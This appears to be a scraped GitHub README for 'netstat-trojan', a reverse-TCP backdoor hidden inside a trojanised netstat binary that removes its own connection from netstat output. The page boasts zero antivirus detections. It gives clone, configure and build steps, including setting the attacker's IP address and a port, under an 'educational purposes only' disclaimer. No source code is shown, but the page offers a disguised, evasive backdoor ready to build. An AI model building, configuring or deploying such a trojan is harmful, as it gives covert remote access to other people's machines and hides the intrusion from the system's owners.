Drew-Alleman / netstat-trojan

reverse-TCP backdoor disguised within the netstat utility. It's designed to automatically exclude itself from the netstat output. (educational purposes only)

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

            /********************************************************************\
           *                           DISCLAIMER:                            *
           *                                                                  *
           *  This program is for educational purposes only. Usage signifies  *
           *  understanding of risks. Usage on unauthorized systems is        *
           *  prohibited.                                                     *
           *                                                                  *
           *  - Use only with proper authorization. Unauthorized use is       *
           *    strictly prohibited.                                          *
           *                                                                  *
           *  - The creator assumes no liability for damages or legal         *
           *    consequences caused by this program.                          *
           *                                                                  *
           *  - Ensure compliance with applicable laws and regulations.       *
           *                                                                  *
           *  Use responsibly, ethically, and respect others' privacy and     *
           *  security.                                                       *
          \********************************************************************/

Code Review

Guide

netstat-trojan

netstat-trojan is a reverse-TCP backdoor disguised within the netstat utility. It's designed to automatically exclude itself from the netstat output.

VIRUS TOTAL RESULTS 0/63

Setup

  1. Clone the repository:
    git clone https://github.com/Drew-Alleman/netstat-trojan/
  2. Navigate to the cloned directory:
    cd netstat-trojan/
  3. Initialize the configuration scripts:
    ./autogen.sh
  4. Run the configuration:
    ./configure

Configuration Process

To configure the Netstat-Trojan to suit your specific needs, you will need to modify the netstat.c file:

  1. Open netstat.c in your preferred text editor. For example, using vim:

    drew@ubuntu-desktop:~/Projects/netstat-trojan$ vim src/netstat.c
  2. Locate and modify the following settings:

    • Port Configuration: Define the port to host the backdoor.
      #define PORT 44566
    • Server IP Configuration: Set the attacking IP address or the server address that the backdoor will connect to.
      #define SERVER_IP "192.168.0.87"

Ensure that you replace PORT and SERVER_IP with the values that align with your desired configuration.

Building

Once all the steps above are complete simply run make and the netstat binary will appear here: /netstat-trojan/src/

About

reverse-TCP backdoor disguised within the netstat utility. It's designed to automatically exclude itself from the netstat output. (educational purposes only)

License:GNU General Public License v2.0


Languages

Language:C 96.6%Language:Makefile 2.1%Language:M4 1.2%Language:Shell 0.1%